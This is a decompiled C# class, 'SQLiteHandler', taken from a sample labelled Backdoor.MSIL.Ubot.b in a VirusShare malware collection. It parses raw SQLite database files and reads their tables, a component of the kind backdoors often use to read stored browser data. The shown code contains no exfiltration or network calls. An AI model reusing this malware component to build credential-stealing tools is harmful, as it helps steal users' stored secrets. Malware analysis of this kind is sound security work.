// Decompiled with JetBrains decompiler
// Type: SQLiteHandler
// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text;

public class SQLiteHandler
{
  private byte[] db_bytes;
  private ushort page_size;
  private ulong encoding;
  private SQLiteHandler.sqlite_master_entry[] master_table_entries;
  private byte[] SQLDataTypeSize;
  private SQLiteHandler.table_entry[] table_entries;
  private string[] field_names;

  private int GVL(int startIndex)
  {
    if (startIndex > this.db_bytes.Length)
      return 0;
    int num1 = startIndex;
    int num2 = checked (startIndex + 8);
    int index = num1;
    while (index <= num2)
    {
      if (index > checked (this.db_bytes.Length - 1))
        return 0;
      if (((int) this.db_bytes[index] & 128) != 128)
        return index;
      checked { ++index; }
    }
    return checked (startIndex + 8);
  }

  private long CVL(int startIndex, int endIndex)
  {
    checked { ++endIndex; }
    byte[] numArray = new byte[8];
    object Left = (object) checked (endIndex - startIndex);
    bool flag = false;
    if (Conversions.ToBoolean(Operators.OrObject(Operators.CompareObjectEqual(Left, (object) 0, false), Operators.CompareObjectGreater(Left, (object) 9, false))))
      return 0;
    if (Operators.ConditionalCompareObjectEqual(Left, (object) 1, false))
    {
      numArray[0] = checked ((byte) ((int) this.db_bytes[startIndex] & (int) sbyte.MaxValue));
      return BitConverter.ToInt64(numArray, 0);
    }
    if (Operators.ConditionalCompareObjectEqual(Left, (object) 9, false))
      flag = true;
    int num1 = 1;
    int num2 = 7;
    int index1 = 0;
    if (flag)
    {
      numArray[0] = this.db_bytes[checked (endIndex - 1)];
      checked { --endIndex; }
      index1 = 1;
    }
    int num3 = checked (endIndex - 1);
    int num4 = startIndex;
    int index2 = num3;
    while (index2 >= num4)
    {
      if (checked (index2 - 1) >= startIndex)
      {
        numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1 | (int) unchecked ((byte) ((uint) this.db_bytes[checked (index2 - 1)] << (num2 & 7)))));
        checked { ++num1; }
        checked { ++index1; }
        checked { --num2; }
      }
      else if (!flag)
        numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1));
      checked { index2 += -1; }
    }
    return BitConverter.ToInt64(numArray, 0);
  }

  private bool IsOdd(long value) => (value & 1L) == 1L;

  private ulong ConvertToInteger(int startIndex, int Size)
  {
    if (Size > 8 | Size == 0)
      return 0;
    ulong integer = 0;
    int num1 = checked (Size - 1);
    int num2 = 0;
    while (num2 <= num1)
    {
      integer = integer << 8 | (ulong) this.db_bytes[checked (startIndex + num2)];
      checked { ++num2; }
    }
    return integer;
  }

  private void ReadMasterTable(ulong Offset)
  {
    if (this.db_bytes[checked ((int) Offset)] == (byte) 13)
    {
      ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
      int num1 = 0;
      if (this.master_table_entries != null)
      {
        num1 = this.master_table_entries.Length;
        this.master_table_entries = (SQLiteHandler.sqlite_master_entry[]) Utils.CopyArray((Array) this.master_table_entries, (Array) new SQLiteHandler.sqlite_master_entry[checked (this.master_table_entries.Length + (int) uint16 + 1)]);
      }
      else
        this.master_table_entries = new SQLiteHandler.sqlite_master_entry[checked ((int) uint16 + 1)];
      int num2 = (int) uint16;
      int num3 = 0;
      while (num3 <= num2)
      {
        ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2);
        if (Decimal.Compare(new Decimal(Offset), 100M) != 0)
          checked { integer += Offset; }
        object Left1 = (object) this.GVL(checked ((int) integer));
        this.CVL(checked ((int) integer), Conversions.ToInteger(Left1));
        object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)));
        this.master_table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2));
        ulong startIndex = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1));
        object obj1 = (object) this.GVL(checked ((int) startIndex));
        object Left3 = RuntimeHelpers.GetObjectValue(obj1);
        long num4 = this.CVL(checked ((int) startIndex), Conversions.ToInteger(obj1));
        long[] numArray = new long[5];
        int index = 0;
        do
        {
          object obj2 = Operators.AddObject(Left3, (object) 1);
          Left3 = (object) this.GVL(Conversions.ToInteger(obj2));
          numArray[index] = this.CVL(Conversions.ToInteger(obj2), Conversions.ToInteger(Left3));
          numArray[index] = numArray[index] <= 9L ? (long) this.SQLDataTypeSize[checked ((int) numArray[index])] : (!this.IsOdd(numArray[index]) ? checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 13L) / 2.0))));
          checked { ++index; }
        }
        while (index <= 4);
        if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
          this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
        else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
          this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
        else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
          this.master_table_entries[checked (num1 + num3)].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
        if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
          this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
        else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
          this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
        else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
          this.master_table_entries[checked (num1 + num3)].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
        this.master_table_entries[checked (num1 + num3)].root_num = checked ((long) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2]))), (int) numArray[3]));
        if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
          this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
        else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
          this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
        else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
          this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
        checked { ++num3; }
      }
    }
    else
    {
      if (this.db_bytes[checked ((int) Offset)] != (byte) 5)
        return;
      int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
      int num = 0;
      while (num <= uint16)
      {
        ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2));
        if (Decimal.Compare(new Decimal(Offset), 100M) == 0)
          this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) integer, 4)), 1M), new Decimal((int) this.page_size))));
        else
          this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size))));
        checked { ++num; }
      }
      this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size))));
    }
  }

  private bool ReadTableFromOffset(ulong Offset)
  {
    if (this.db_bytes[checked ((int) Offset)] == (byte) 13)
    {
      ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
      int num1 = 0;
      if (this.table_entries != null)
      {
        num1 = this.table_entries.Length;
        this.table_entries = (SQLiteHandler.table_entry[]) Utils.CopyArray((Array) this.table_entries, (Array) new SQLiteHandler.table_entry[checked (this.table_entries.Length + (int) uint16 + 1)]);
      }
      else
        this.table_entries = new SQLiteHandler.table_entry[checked ((int) uint16 + 1)];
      int num2 = (int) uint16;
      int num3 = 0;
      while (num3 <= num2)
      {
        ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2);
        if (Decimal.Compare(new Decimal(Offset), 100M) != 0)
          checked { integer += Offset; }
        object Left1 = (object) this.GVL(checked ((int) integer));
        this.CVL(checked ((int) integer), Conversions.ToInteger(Left1));
        object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)));
        this.table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2));
        ulong num4 = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1));
        object Right1 = (object) this.GVL(checked ((int) num4));
        object Left3 = RuntimeHelpers.GetObjectValue(Right1);
        long num5 = this.CVL(checked ((int) num4), Conversions.ToInteger(Right1));
        long Left4 = Conversions.ToLong(Operators.AddObject(Operators.SubtractObject((object) num4, Right1), (object) 1));
        object Left5 = (object) 0;
        SQLiteHandler.record_header_field[] arySrc;
        while (Left4 < num5)
        {
          arySrc = (SQLiteHandler.record_header_field[]) Utils.CopyArray((Array) arySrc, (Array) new SQLiteHandler.record_header_field[checked (Conversions.ToInteger(Left5) + 1)]);
          object Right2 = Operators.AddObject(Left3, (object) 1);
          Left3 = (object) this.GVL(Conversions.ToInteger(Right2));
          arySrc[Conversions.ToInteger(Left5)].type = this.CVL(Conversions.ToInteger(Right2), Conversions.ToInteger(Left3));
          arySrc[Conversions.ToInteger(Left5)].size = arySrc[Conversions.ToInteger(Left5)].type <= 9L ? (long) this.SQLDataTypeSize[checked ((int) arySrc[Conversions.ToInteger(Left5)].type)] : (!this.IsOdd(arySrc[Conversions.ToInteger(Left5)].type) ? checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 13L) / 2.0))));
          Left4 = Conversions.ToLong(Operators.AddObject(Operators.AddObject((object) Left4, Operators.SubtractObject(Left3, Right2)), (object) 1));
          Left5 = Operators.AddObject(Left5, (object) 1);
        }
        this.table_entries[checked (num1 + num3)].content = new string[checked (arySrc.Length - 1 + 1)];
        int num6 = 0;
        int num7 = checked (arySrc.Length - 1);
        int index = 0;
        while (index <= num7)
        {
          if (arySrc[index].type > 9L)
          {
            if (!this.IsOdd(arySrc[index].type))
            {
              if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
                this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
              else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
                this.table_entries[checked (num1 + num3)].content[index] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
              else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
                this.table_entries[checked (num1 + num3)].content[index] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
            }
            else
              this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
          }
          else
            this.table_entries[checked (num1 + num3)].content[index] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)));
          num6 = checked ((int) ((long) num6 + arySrc[index].size));
          checked { ++index; }
        }
        checked { ++num3; }
      }
    }
    else if (this.db_bytes[checked ((int) Offset)] == (byte) 5)
    {
      int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
      int num = 0;
      while (num <= uint16)
      {
        ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2));
        this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size))));
        checked { ++num; }
      }
      this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size))));
    }
    return true;
  }

  public bool ReadTable(string TableName)
  {
    int index1 = -1;
    int length = this.master_table_entries.Length;
    int index2 = 0;
    while (index2 <= length)
    {
      if (this.master_table_entries[index2].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
      {
        index1 = index2;
        break;
      }
      checked { ++index2; }
    }
    if (index1 == -1)
      return false;
    object[] objArray1 = (object[]) this.master_table_entries[index1].sql_statement.Substring(checked (this.master_table_entries[index1].sql_statement.IndexOf("(") + 1)).Split(',');
    int num = checked (objArray1.Length - 1);
    int index3 = 0;
    while (index3 <= num)
    {
      objArray1[index3] = (object) Strings.LTrim(Conversions.ToString(objArray1[index3]));
      object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1]
      {
        (object) " "
      }, (string[]) null, (Type[]) null, (bool[]) null));
      if (Operators.ConditionalCompareObjectGreater(objectValue1, (object) 0, false))
      {
        object[] objArray2 = objArray1;
        int index4 = index3;
        object Instance = objArray1[index3];
        object[] objArray3 = new object[2]
        {
          (object) 0,
          RuntimeHelpers.GetObjectValue(objectValue1)
        };
        object[] Arguments = objArray3;
        bool[] flagArray = new bool[2]{ false, true };
        bool[] CopyBack = flagArray;
        object obj = NewLateBinding.LateGet(Instance, (Type) null, "Substring", Arguments, (string[]) null, (Type[]) null, CopyBack);
        if (flagArray[1])
          RuntimeHelpers.GetObjectValue(objArray3[1]);
        object objectValue2 = RuntimeHelpers.GetObjectValue(obj);
        objArray2[index4] = objectValue2;
      }
      if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1]
      {
        (object) "UNIQUE"
      }, (string[]) null, (Type[]) null, (bool[]) null), (object) 0, false))
      {
        this.field_names = (string[]) Utils.CopyArray((Array) this.field_names, (Array) new string[checked (index3 + 1)]);
        this.field_names[index3] = Conversions.ToString(objArray1[index3]);
        checked { ++index3; }
      }
      else
        break;
    }
    return this.ReadTableFromOffset(checked ((ulong) ((this.master_table_entries[index1].root_num - 1L) * (long) this.page_size)));
  }

  public int GetRowCount() => this.table_entries.Length;

  public string GetValue(int row_num, int field)
  {
    if (row_num >= this.table_entries.Length)
      return (string) null;
    return field >= this.table_entries[row_num].content.Length ? (string) null : this.table_entries[row_num].content[field];
  }

  public string GetValue(int row_num, string field)
  {
    int field1 = -1;
    int length = this.field_names.Length;
    int index = 0;
    while (index <= length)
    {
      if (this.field_names[index].ToLower().CompareTo(field.ToLower()) == 0)
      {
        field1 = index;
        break;
      }
      checked { ++index; }
    }
    return field1 == -1 ? (string) null : this.GetValue(row_num, field1);
  }

  public string[] GetTableNames()
  {
    object Left = (object) 0;
    int num = checked (this.master_table_entries.Length - 1);
    int index = 0;
    string[] arySrc;
    while (index <= num)
    {
      if (Operators.CompareString(this.master_table_entries[index].item_type, "table", false) == 0)
      {
        arySrc = (string[]) Utils.CopyArray((Array) arySrc, (Array) new string[checked (Conversions.ToInteger(Left) + 1)]);
        arySrc[Conversions.ToInteger(Left)] = this.master_table_entries[index].item_name;
        Left = Operators.AddObject(Left, (object) 1);
      }
      checked { ++index; }
    }
    return arySrc;
  }

  public SQLiteHandler(string baseName)
  {
    this.SQLDataTypeSize = new byte[10]
    {
      (byte) 0,
      (byte) 1,
      (byte) 2,
      (byte) 3,
      (byte) 4,
      (byte) 6,
      (byte) 8,
      (byte) 8,
      (byte) 0,
      (byte) 0
    };
    if (!File.Exists(baseName))
      return;
    FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
    string s = Strings.Space(checked ((int) FileSystem.LOF(1)));
    FileSystem.FileGet(1, ref s);
    FileSystem.FileClose(1);
    this.db_bytes = Encoding.Default.GetBytes(s);
    if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
      throw new Exception("Not a valid SQLite 3 Database File");
    if (this.db_bytes[52] != (byte) 0)
      throw new Exception("Auto-vacuum capable database is not supported");
    if (Decimal.Compare(new Decimal(this.ConvertToInteger(44, 4)), 4M) >= 0)
      throw new Exception("No supported Schema layer file-format");
    this.page_size = checked ((ushort) this.ConvertToInteger(16, 2));
    this.encoding = this.ConvertToInteger(56, 4);
    if (Decimal.Compare(new Decimal(this.encoding), 0M) == 0)
      this.encoding = 1UL;
    this.ReadMasterTable(100UL);
  }

  private struct record_header_field
  {
    public long size;
    public long type;
  }

  private struct table_entry
  {
    public long row_id;
    public string[] content;
  }

  private struct sqlite_master_entry
  {
    public long row_id;
    public string item_type;
    public string item_name;
    public string astable_name;
    public long root_num;
    public string sql_statement;
  }
}
